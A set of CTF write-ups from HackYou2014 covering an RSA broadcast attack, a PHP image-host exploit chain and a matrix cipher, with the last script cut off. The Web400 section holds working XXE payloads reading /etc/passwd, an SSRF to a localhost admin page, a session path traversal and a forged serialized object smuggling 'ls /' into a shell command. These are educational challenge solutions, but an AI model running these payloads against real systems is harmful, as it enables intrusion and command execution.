HackYou2014

#hackyou2014 Crypto400 write-up

In this level we are said that:

We have intercepted communication in a private network. It is used a strange protocol based on RSA cryptosystem.

Can you still prove that it is not secure enough and get the flag?

We are given a pcap file with a bunch of transmissions generated with this script:

#!/usr/bin/python
import sys  
import struct  
import zlib  
import socket

class Client:  
    def __init__(self, ip):
        #init
        self.ip = ip
        self.port = 0x1337
        #connect
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.conn.connect((self.ip, self.port))
        #recieve e
        self.e = self.Recv()
        #recieve n
        self.n = self.Recv()
        self.e, self.n = int(self.e), int(self.n)

    def Recv(self):
        #unpack data
        length = struct.unpack('!H', self.conn.recv(2))
        data = zlib.decompress(self.conn.recv(length[0]))
        return data

    def Pack(self, data):
        #compress data
        data = zlib.compress('%s' % data)
        length = struct.pack('!H', len(data))
        return '%s%s' % (length, data)

    def Send(self, msg):
        #send message
        msg = int(msg.encode('hex'),16)
        assert(msg < self.n)
        msg = pow(msg, self.e, self.n)
        self.conn.send(self.Pack(msg))
        print '[+] Message send'

    def __del__(self):
        #close connection
        self.conn.close()

if len(sys.argv) != 2:  
    print 'Usage: %s <ip>' % sys.argv[0]
    sys.exit(0)

flag = open('message.txt').readline()  
test = Client(sys.argv[1])  
test.Send(flag)  

Analyzing the protocol it looks like it goes something like:

  • Message to be send is read from external file
  • Connection is established against given IP on port 4919 (0x1337)
  • Server sends "e" packet [data lengt + zlib(data)]
  • Server sends "n" packet [data lengt + zlib(data)]
  • Both "e" and "n" are casted to integers
  • Client encodes message as integer
  • Client verifies message < n
  • Client encrpyts message using: enc = pow(message, e, n)
  • Client sends encrypted message packet [data lengt + zlib(data)]

If we explore the pcap with wireshark we can see a bunch of transmissions from Client to Server. We will need to process it in order to extract the message, the following python+scapy script will read all the interesting elements being transmited for each communication: e, n and flag:

#!/usr/bin/python
from scapy.all import *  
from struct import *  
import zlib

pkts = PcapReader("packets.pcap")  
for p in pkts:  
    pkt = p.payload
    if pkt.getlayer(Raw):
        raw = pkt.getlayer(Raw).load
        print "{0}:{1} -> {2}:{3}".format(pkt.src,pkt.sport,pkt.dst,pkt.dport)
        if str(pkt.sport) == "4919":
            elength = struct.unpack("!H",raw[0:2])[0]
            ezip = raw[2:2 + elength]
            e = int(zlib.decompress(ezip))
            nlength = struct.unpack("!H",raw[elength + 2 :elength + 4])[0]
            nzip =  raw[elength + 4:elength + 4 + nlength]
            n = int(zlib.decompress(nzip))
            print "e = {0}".format(e)
            print "n = {0}".format(n)
        if str(pkt.dport) == "4919":
            flaglength = struct.unpack("!H",raw[0:2])[0]
            flagzip = raw[2:2 + flaglength]
            encflag = int(zlib.decompress(flagzip))
            print "encflag = {0}".format(encflag)

As an example of one communication:

[email protected] ~/D/h/crypto400> python decrypter.py  
WARNING: No route found for IPv6 destination :: (no default route?)  
192.168.1.10:4919 -> 192.168.1.5:41260  
e = 17  
n = 27658060678038715780470429570597987144542213875178081185638364125349217264266787337266356239252353691015124430930507236433817624156361120645134956689683794554169169254645287613480048966030722812191823753459580311585866523664171185580520752591976764843551787247552790540802105791272457516072210641470817920157370947681970410336005860197552073763981521526496955541778866864446616347452950889748333309771690509856724643918258831575902389005661750464296924818808365029037591660424882588976607197196824985084365272217072807601787578262208488572448451271800547820717066767396857464594301327160705353075064322975430897551911  
192.168.1.5:41260 -> 192.168.1.10:4919  
encflag = 11433488612991990768536086698965180146550356348457563234735402111134701115830423042016221831657484325065472609147436229496479358788735270448637824809543880271526735635196884978639585020518147152207002685868984199742884443523231593245377292570809368330956970290791633106067116466080014631110596564728982066569618319541351401820732547227122970369299780366876340403436785218211729531092484723580223801525992510782266856454394478372421830988205823368541860973674259795969870252832216828042174346473447490557323038031625277043161510854825069681462499200978561823301487118145650943076528233694749306585201212677836363102350  

Analyzing the traffic, there are 19 communications with different modulos but always same exponent (e=17) which simplifies the problem

encrypted = (flag^17) % modulo  

We should only care to find F so that:

encflag1 = F % n1  
encflag2 = F % n2  
...
...
encflag18 = F % n18  
encflag19 = F % n19  

In order to solve the equation we can use the Chinese Remainder Theorem (CRT). For which I found a Python implementation that I needed to adjust a little bit:

from operator import mod

def eea(a,b):  
    """Extended Euclidean Algorithm for GCD"""
    v1 = [a,1,0]
    v2 = [b,0,1]
    while v2[0]<>0:
       p = v1[0]//v2[0] # floor division
       v2, v1 = map(lambda x, y: x-y,v1,[p*vi for vi in v2]), v2
    return v1

def inverse(m,k):  
     """
     Return b such that b*m mod k = 1, or 0 if no solution
     """
     v = eea(m,k)
     return (v[0]==1)*(v[1] % k)

def crt(ml,al):  
     """
     Chinese Remainder Theorem:
     ms = list of pairwise relatively prime integers
     as = remainders when x is divided by ms
     (ai is 'each in as', mi 'each in ms')

     The solution for x modulo M (M = product of ms) will be:
     x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
     where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r.
     """

     M  = reduce(lambda x, y: x*y,ml)        # multiply ml together
     Ms = [M/mi for mi in ml]   # list of all M/mi
     ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ml)] # uses inverse,eea
     return reduce(lambda x, y: x+y,[ai*Mi*yi for ai,Mi,yi in zip(al,Ms,ys)]) % M

F = crt(modulos,remainders)  

Once we find F, we can calculate its 17th root in order to find the integer version of the flag:

def root(x,n):  
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1

intflag = root(F,17)  

And from there its easy to get the flag:

flag = hex(intflag)[2:-1].decode('hex')  

Running our script returns:

[email protected] ~/D/h/crypto400> python decrypter.py  
WARNING: No route found for IPv6 destination :: (no default route?)  
Secret message! CTF{336b2196a2932c399c0340bc41cd362d}  

Cool!!!!

This is the full script:

#!/usr/bin/python
from scapy.all import *  
from struct import *  
import zlib  
from operator import mod

def eea(a,b):  
    """Extended Euclidean Algorithm for GCD"""
    v1 = [a,1,0]
    v2 = [b,0,1]
    while v2[0]<>0:
       p = v1[0]//v2[0] # floor division
       v2, v1 = map(lambda x, y: x-y,v1,[p*vi for vi in v2]), v2
    return v1

def inverse(m,k):  
     """
     Return b such that b*m mod k = 1, or 0 if no solution
     """
     v = eea(m,k)
     return (v[0]==1)*(v[1] % k)

def crt(ml,al):  
     """
     Chinese Remainder Theorem:
     ms = list of pairwise relatively prime integers
     as = remainders when x is divided by ms
     (ai is 'each in as', mi 'each in ms')

     The solution for x modulo M (M = product of ms) will be:
     x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
     where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r.
     """

     M  = reduce(lambda x, y: x*y,ml)        # multiply ml together
     Ms = [M/mi for mi in ml]   # list of all M/mi
     ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ml)] # uses inverse,eea
     return reduce(lambda x, y: x+y,[ai*Mi*yi for ai,Mi,yi in zip(al,Ms,ys)]) % M

def root(x,n):  
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1

pkts = PcapReader("packets.pcap")  
modulos = []  
remainders = []  
exponents = []  
for p in pkts:  
    pkt = p.payload
    if pkt.getlayer(Raw):
        raw = pkt.getlayer(Raw).load
        if str(pkt.sport) == "4919":
            elength = struct.unpack("!H",raw[0:2])[0]
            ezip = raw[2:2 + elength]
            e = int(zlib.decompress(ezip))
            nlength = struct.unpack("!H",raw[elength + 2 :elength + 4])[0]
            nzip =  raw[elength + 4:elength + 4 + nlength]
            n = int(zlib.decompress(nzip))
            modulos.append(n)
            exponents.append(e)
        if str(pkt.dport) == "4919":
            flaglength = struct.unpack("!H",raw[0:2])[0]
            flagzip = raw[2:2 + flaglength]
            encflag = int(zlib.decompress(flagzip))
            remainders.append(encflag)

F = crt(modulos,remainders)  
intflag = root(F,17)  
flag = hex(intflag)[2:-1].decode('hex')  
print flag  

Thanks for reading!

References:

#hackyou2014 Web400 write-up

I did not solve this level during the CTF, but found it so interesting reading Xelenonz write-up that I couldnt help trying it myself just for the fun and since this blog is my personal notes, I decided to write it here for future reference, but all credits go to Xelenonz.

We are given the code of a Image hostig web app. Reading the code we see how it handle the requests:

include 'config.php';  
include 'classes.php';  
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;  

So action is used to instantiate any arbitrary class and param is the argument for the constructor. Cool. We are given a bunch of classes the application uses to upload and view images and to manage the Session object:

class View {  
    function __construct($page) {
        ob_start();
        readfile('html/header.html');
        switch ($page) {
            case 'index':
                readfile('html/index.tpl.html');
                break;
            case 'upload':
                readfile('html/upload.tpl.html');
                break;
        }
        readfile('html/footer.html');
    }
    function __toString() {
        $this->content = ob_get_contents();
        ob_end_clean();
        return $this->content;
    }
}

class Upload {  
    function __construct($data) {
        global $config;
        $this->data = base64_decode($data);
        $this->filename = md5(uniqid(rand(), true));
        $this->path = $config['root'].'images/'.$this->filename;
        file_put_contents($this->path, $this->data);
        $this->type = exif_imagetype($this->path);
    }
    function __toString() {
        if ($this->type) {
            $link = 'http://'.$_SERVER['SERVER_NAME'].'/'.$this->filename;
            return '<p>Successfully updated!</p>Your link: <a href="'.$link.'">'.$link.'</a>';
        } else {
            return '<p>Wrong file type!<p>';
        }
    }
    function __destruct() {
        if ($this->type) {
            echo '<p>Some file info:

<pre>';
            passthru('exiv2 '.$this->path);
            echo '</pre></p>';
        } else {
            unlink($this->path);
        }
    }
}

class Image {  
    function __construct($filename) {
        global $config;
        $this->filename = $filename;
        $this->path = $config['root'].'images/'.$this->filename;
    }
    function __toString() {
        if (preg_match('/^[a-f0-9]{32}$/', $this->filename) && file_exists($this->path)) {
            $this->type = exif_imagetype($this->path);
            $this->mime = image_type_to_mime_type($this->type);
            header('Content-Type: '.$this->mime);
            return file_get_contents($this->path);
        } else {
            return '<h1>Error</h1>';
        }
    }
}

class Session {  
    function __construct() {
        global $config;
        session_set_save_handler(
            array($this, "open"), array($this, "close"),  array($this, "read"),
            array($this, "write"),array($this, "destroy"),array($this, "gc")
        );
        $this->key = $config['key'];
        $this->size = 32;
        $this->path = '/tmp';
    }

    function encrypt($data) {
        $iv = mcrypt_create_iv($this->size, MCRYPT_RAND);
        $key = hash('sha256', $this->key, true);
        $data = $iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
    }

    function decrypt($data) {
        $key = hash('sha256', $this->key, true);
        $iv = substr($data, 0, $this->size);
        $data = substr($data, $this->size);
        $data = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
    }

    function write($id, $data) {
        $path = $this->path.'/'.$id;
        $data = $this->encrypt($data);
        file_put_contents($path, $data);
    }

    function read($id) {
        $path = $this->path.'/'.$id;
        $data = null;
        if (is_file($path)) {
            $data = file_get_contents($path);
            $data = $this->decrypt($data);
        }
        return $data;
    }

    function open($sess_path, $sess_id) {
        //nothing
    }

    function close() {
        return true;
    }

    function gc($maxlifetime) {
        $path = $this->path.'/*';
        foreach (glob($path) as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }
        return true;
    }

    function destroy($id) {
        $path = $this->path.'/'.$id;
        if (is_file($path)) {
            unlink($path);
        }
        return true;
    }
}

The most interesting one are the Upload class whose destructor runs "arbitrary code" and Session which tell us how the Session object is initializated and stored/read from disk (although, we dont know the encryption key that is stored in the config.php file). These are classes are interesting but not useful if we can only create an instance and print the instance tostring return value. Lets look for PHP system classes that could be more useful:

[email protected] ~> php -r 'var_dump (get_declared_classes ());'  
array(139) {  
  [0]=> string(8) "stdClass"
  [1]=> string(9) "Exception"
  [2]=> string(14) "ErrorException"
  [3]=> string(7) "Closure"
  [4]=> string(8) "DateTime"
  [5]=> string(12) "DateTimeZone"
  [6]=> string(12) "DateInterval"
  [7]=> string(10) "DatePeriod"
  [8]=> string(11) "LibXMLError"
  [9]=> string(7) "SQLite3"
  [10]=> string(11) "SQLite3Stmt"
  [11]=> string(13) "SQLite3Result"
  [12]=> string(12) "DOMException"
  [13]=> string(13) "DOMStringList"
  [14]=> string(11) "DOMNameList"
  [15]=> string(21) "DOMImplementationList"
  [16]=> string(23) "DOMImplementationSource"
  [17]=> string(17) "DOMImplementation"
  [18]=> string(7) "DOMNode"
  [19]=> string(16) "DOMNameSpaceNode"
  [20]=> string(19) "DOMDocumentFragment"
  [21]=> string(11) "DOMDocument"
  [22]=> string(11) "DOMNodeList"
  [23]=> string(15) "DOMNamedNodeMap"
  [24]=> string(16) "DOMCharacterData"
  [25]=> string(7) "DOMAttr"
  [26]=> string(10) "DOMElement"
  [27]=> string(7) "DOMText"
  [28]=> string(10) "DOMComment"
  [29]=> string(11) "DOMTypeinfo"
  [30]=> string(18) "DOMUserDataHandler"
  [31]=> string(11) "DOMDomError"
  [32]=> string(15) "DOMErrorHandler"
  [33]=> string(10) "DOMLocator"
  [34]=> string(16) "DOMConfiguration"
  [35]=> string(15) "DOMCdataSection"
  [36]=> string(15) "DOMDocumentType"
  [37]=> string(11) "DOMNotation"
  [38]=> string(9) "DOMEntity"
  [39]=> string(18) "DOMEntityReference"
  [40]=> string(24) "DOMProcessingInstruction"
  [41]=> string(15) "DOMStringExtend"
  [42]=> string(8) "DOMXPath"
  [43]=> string(5) "finfo"
  [44]=> string(14) "LogicException"
  [45]=> string(24) "BadFunctionCallException"
  [46]=> string(22) "BadMethodCallException"
  [47]=> string(15) "DomainException"
  [48]=> string(24) "InvalidArgumentException"
  [49]=> string(15) "LengthException"
  [50]=> string(19) "OutOfRangeException"
  [51]=> string(16) "RuntimeException"
  [52]=> string(20) "OutOfBoundsException"
  [53]=> string(17) "OverflowException"
  [54]=> string(14) "RangeException"
  [55]=> string(18) "UnderflowException"
  [56]=> string(24) "UnexpectedValueException"
  [57]=> string(25) "RecursiveIteratorIterator"
  [58]=> string(16) "IteratorIterator"
  [59]=> string(14) "FilterIterator"
  [60]=> string(23) "RecursiveFilterIterator"
  [61]=> string(22) "CallbackFilterIterator"
  [62]=> string(31) "RecursiveCallbackFilterIterator"
  [63]=> string(14) "ParentIterator"
  [64]=> string(13) "LimitIterator"
  [65]=> string(15) "CachingIterator"
  [66]=> string(24) "RecursiveCachingIterator"
  [67]=> string(16) "NoRewindIterator"
  [68]=> string(14) "AppendIterator"
  [69]=> string(16) "InfiniteIterator"
  [70]=> string(13) "RegexIterator"
  [71]=> string(22) "RecursiveRegexIterator"
  [72]=> string(13) "EmptyIterator"
  [73]=> string(21) "RecursiveTreeIterator"
  [74]=> string(11) "ArrayObject"
  [75]=> string(13) "ArrayIterator"
  [76]=> string(22) "RecursiveArrayIterator"
  [77]=> string(11) "SplFileInfo"
  [78]=> string(17) "DirectoryIterator"
  [79]=> string(18) "FilesystemIterator"
  [80]=> string(26) "RecursiveDirectoryIterator"
  [81]=> string(12) "GlobIterator"
  [82]=> string(13) "SplFileObject"
  [83]=> string(17) "SplTempFileObject"
  [84]=> string(19) "SplDoublyLinkedList"
  [85]=> string(8) "SplQueue"
  [86]=> string(8) "SplStack"
  [87]=> string(7) "SplHeap"
  [88]=> string(10) "SplMinHeap"
  [89]=> string(10) "SplMaxHeap"
  [90]=> string(16) "SplPriorityQueue"
  [91]=> string(13) "SplFixedArray"
  [92]=> string(16) "SplObjectStorage"
  [93]=> string(16) "MultipleIterator"
  [94]=> string(14) "SessionHandler"
  [95]=> string(22) "__PHP_Incomplete_Class"
  [96]=> string(15) "php_user_filter"
  [97]=> string(9) "Directory"
  [98]=> string(20) "mysqli_sql_exception"
  [99]=> string(13) "mysqli_driver"
  [100]=> string(6) "mysqli"
  [101]=> string(14) "mysqli_warning"
  [102]=> string(13) "mysqli_result"
  [103]=> string(11) "mysqli_stmt"
  [104]=> string(12) "PDOException"
  [105]=> string(3) "PDO"
  [106]=> string(12) "PDOStatement"
  [107]=> string(6) "PDORow"
  [108]=> string(13) "PharException"
  [109]=> string(4) "Phar"
  [110]=> string(8) "PharData"
  [111]=> string(12) "PharFileInfo"
  [112]=> string(19) "ReflectionException"
  [113]=> string(10) "Reflection"
  [114]=> string(26) "ReflectionFunctionAbstract"
  [115]=> string(18) "ReflectionFunction"
  [116]=> string(19) "ReflectionParameter"
  [117]=> string(16) "ReflectionMethod"
  [118]=> string(15) "ReflectionClass"
  [119]=> string(16) "ReflectionObject"
  [120]=> string(18) "ReflectionProperty"
  [121]=> string(19) "ReflectionExtension"
  [122]=> string(23) "ReflectionZendExtension"
  [123]=> string(16) "SimpleXMLElement"
  [124]=> string(17) "SimpleXMLIterator"
  [125]=> string(4) "SNMP"
  [126]=> string(13) "SNMPException"
  [127]=> string(10) "SoapClient"
  [128]=> string(7) "SoapVar"
  [129]=> string(10) "SoapServer"
  [130]=> string(9) "SoapFault"
  [131]=> string(9) "SoapParam"
  [132]=> string(10) "SoapHeader"
  [133]=> string(4) "tidy"
  [134]=> string(8) "tidyNode"
  [135]=> string(9) "XMLReader"
  [136]=> string(9) "XMLWriter"
  [137]=> string(13) "XSLTProcessor"
  [138]=> string(10) "ZipArchive"
}

That's a bunch of classes but going through them we find two that are particulary interest: "SplFileObject" and "SimpleXmlElement".
With SplFileObject we are returned the first line of any file:

You can however, use PHP filters to encode it base64 and get all file contents as a long base64 line:

Thats pretty cool, now we can decode it and get the key:

$config = array();
$config['root'] = '/var/www/';
$config['key'] = '6hQJMFh8gRje67EmpDX3';
$config['IP'] = array('127.0.0.1');
$config['password'] = '3fd5b6db6bc90ddd6a6f6caad27d8b00';

And thats basically as far as I got, I could not bypass the restriction in the "admin.php" to allow only requests from localhost so I could not start the session and try to take advantage of it.

After the CTF ended I found out that we could submit XML documents with external entities and launch a SSRF attack from there. Lets see how.
We can use the "SimpleXMLElement" class to create XML documents like:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 21

param=<foo>test</foo>  

Actually I tried this during the CTF but forgot to add the "Content-Type" header so kept on getting "Internal Server Errors", damn!

Anyway, The server returns us our XML document so now we can try to inject external entities:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 76

param=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd" >]><foo>%26xxe;</foo>  
HTTP/1.1 200 OK  
Date: Fri, 17 Jan 2014 13:49:12 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.8  
Vary: Accept-Encoding  
Content-Length: 1041  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
syslog:x:101:103::/home/syslog:/bin/false  
messagebus:x:102:105::/var/run/dbus:/bin/false  
whoopsie:x:103:106::/nonexistent:/bin/false  
landscape:x:104:109::/var/lib/landscape:/bin/false  
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin  
user:x:1000:1000:user,,,:/home/user:/bin/bash  

The nice thing about this XXE vulnerability is not that we can read any file (that we already could using the SplFileObject class) but that we can use to initiate requests from the own server!

Now we can bypass localhost address restriction, however accessing http://locahost/admin.php returns some characters that break the XML schema so we will use the PHP base64 encoder filter to return an XML schema friendly version of the page:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 140

param=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/admin.php" >]><foo>%26xxe;</foo>  
HTTP/1.1 200 OK  
Date: Fri, 17 Jan 2014 13:51:57 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.8  
Vary: Accept-Encoding  
Content-Length: 256  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

PGh0bWw+Cjxib2R5PgoJPGI+RW50ZXIgcGFzc3dvcmQ6PC9iPgoJPGZvcm0gYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0iUE9TVCI+CgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJHTyI+Cgk8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo=  

That decodes into:

<html>  
<body>  
    <b>Enter password:</b>
    <form action="admin.php" method="POST">
        <input type="text" name="password">
        <input type="submit" name="submit" value="GO">
    </form>
</body>  
</html>  

Now, I dont really need to become admin since right after the local IP check, the Session is initialized:

if (!in_array($_SERVER['REMOTE_ADDR'], $config['IP']))  
    die('<h1>Access denied</h1>');

$handler = new Session();
session_start();  

So session_start() will call the session handler open() and read() methods to restore the session. If we look at our custom Session handler we see that the serialized session is read from /tmp/<phpsessionid>:

function __construct() {  
    global $config;
    session_set_save_handler(
        array($this, "open"), array($this, "close"),  array($this, "read"),
        array($this, "write"),array($this, "destroy"),array($this, "gc")
    );
    $this->key = $config['key'];
    $this->size = 32;
    $this->path = '/tmp';
}

function read($id) {  
    $path = $this->path.'/'.$id;
    $data = null;
    if (is_file($path)) {
        $data = file_get_contents($path);
        $data = $this->decrypt($data);
    }
    return $data;
}

And since we can control PHPSESSIONID by sending it as a query parameter using the SSRF attack, we can point the read() method to a different file. Luckly for us we can upload images to /var/www/images right?? so if we make:

PHPSESSIONID=../var/www/images/<image under control>  

We will fool the application to read the session from our file. All we have to do now is uploading an image that is an encrypted version of a serialized session containing any arbitrary objects we want to store there.

Here its where the Upload class come really handy since its destructor can execute any command if we control the $this-path variable which we do:

class Upload {  
    function __construct($data) {
        global $config;
        $this->data = base64_decode($data);
        $this->filename = md5(uniqid(rand(), true));
        $this->path = $config['root'].'images/'.$this->filename;
        file_put_contents($this->path, $this->data);
        $this->type = exif_imagetype($this->path);
    }
    function __toString() {
        if ($this->type) {
            $link = 'http://'.$_SERVER['SERVER_NAME'].'/'.$this->filename;
            return '<p>Successfully updated!</p>Your link: <a href="'.$link.'">'.$link.'</a>';
        } else {
            return '<p>Wrong file type!<p>';
        }
    }
    function __destruct() {
        if ($this->type) {
            echo '<p>Some file info:

<pre>';
            passthru('exiv2 '.$this->path);
            echo '</pre></p>';
        } else {
            unlink($this->path);
        }
    }
}

So we can craft a session object containing an instance of a hand crafted Upolad* class and assign it to $_SESSION['auth'] (so the welcome message is printed).

Also, if we want to obtain our exploit "image" hash to craft the PHPSESSIONID, we need our exploit to have "$this->type > 0" and for that we need exif_imagetype() to return a value bigger than 0. So our exploit will be generated with the following script that will run "ls /" when the Upload instance is destroyed. PHP 5 introduced a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

class Upload {  
    function __construct($path) {
        $this->data = "";
        $this->filename = "";
        $this->path = $path;
        $this->type = "image/jpeg";
    }
}

function encrypt($data) {  
        $size = 32;
        $key = '6hQJMFh8gRje67EmpDX3';
        $iv = mcrypt_create_iv($size, MCRYPT_RAND);
        $key = hash('sha256', $key, true);
        $data = $iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
}

$upload = new Upload("img; ls /");
$payload = 'auth|'.serialize($upload);
$data = '';
$file = 0;
while (true){  
    echo '.';
    $data = encrypt($payload);
    file_put_contents("exploit",$data);
    $file = exif_imagetype('exploit');
    if($file > 0){
        echo $file."\n";
        die("Done\n");
    };
};

Now our exploit will be accepted:

All we are left to do is use our SSRF vector to visit the admin.php page for us and make it set the PHPSESSIONID in the query parameter:

If we decode the response:

The flag was:

CTF{42a38432d46b9054004a7a87fd3140c7}  

#hackyou2014 Crypto300 write-up

In this level we are presented with a crypto system based on Matrix operations:

#!/usr/bin/python
import random  
from struct import pack

def Str2matrix(s):  
    #convert string to 4x4 matrix
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def Matrix2str(m):  
    #convert matrix to string
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def Generate(password):  
    #generate key matrix
    random.seed(password)
    return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):  
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

def Encrypt(fname):  
    #encrypt file
    key = Generate('')
    data = open(fname, 'rb').read()
    length = pack('!I', len(data))
    while len(data) % 16 != 0:
        data += '\x00'
    out = open(fname + '.out', 'wb')
    out.write(length)
    for i in xrange(0, len(data), 16):
        cipher = Multiply(Str2matrix(data[i:i+16]), key)
        out.write(Matrix2str(cipher))
    out.close()

Encrypt('flag.wmv')  

The Encrypt() function generates a 4x4 matrix based on a seed not providen. This matrix is used to encrypt a byte array. Here is how:

  • File to be encrypted is padded with 0 until its a factor of 16.
  • Then it is split in 16 bytes chunks that are reordened as 4x4 lists
  • Each of this 4x4 matrix is multiplied by the key matrix
  • The encrypted file is generated by appending the length of the encrpyted data and the encrypted bytes

Matrix multiplications are reversible using inverse matrixes so if E = P * K then P.I * E = P.I * P * K so K = P.I * E where:

  • P is a plaintext matrix
  • E is a encrypted matrix of plaintext matrix
  • P.I is the inverse of P

So if we want to extract the key we need to know at least one plaintext 4x4 matrix (P). Fortunately for us the file we need to decrypt is "flag.wmv.out" sounds like it is a WMV file and we know that its magic number is:

3026b2758e66cf11a6d900aa0062ce6c  

Thats exactly 16 bytes :D So to extract the key:

#!/usr/bin/python
import random  
from struct import pack  
from struct import unpack  
from numpy import *

def Str2matrix(s):  
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def DecStr2matrix(s):  
    matrix = []
    row = []
    rowcount = 0
    for i in xrange(0, len(s), 2):
        item = int(s[i:i+2].encode("hex"),16)
        row.append(item)
        rowcount += 1
        if rowcount==4:
            rowcount=0
            matrix.append(row)
            row=[]
    return matrix

def Matrix2str(m):  
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def DecMatrix2str(m):  
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!B', y), x)), m))

def Generate(password):  
    random.seed(password)
    return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):  
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

def Encrypt(fname,mkey):  
    key = Generate(5)
    data = open(fname, 'rb').read()
    length = pack('!I', len(data))
    while len(data) % 16 != 0:
        data += '\x00'
    out = open(fname + '.out', 'wb')
    out.write(length)
    for i in xrange(0, len(data), 16):
        cipher = Multiply(Str2matrix(data[i:i+16]), key)
        mclear = matrix(Str2matrix(data[i:i+16]))
        mcipher = matrix(cipher)
        mcipher = mclear*mkey
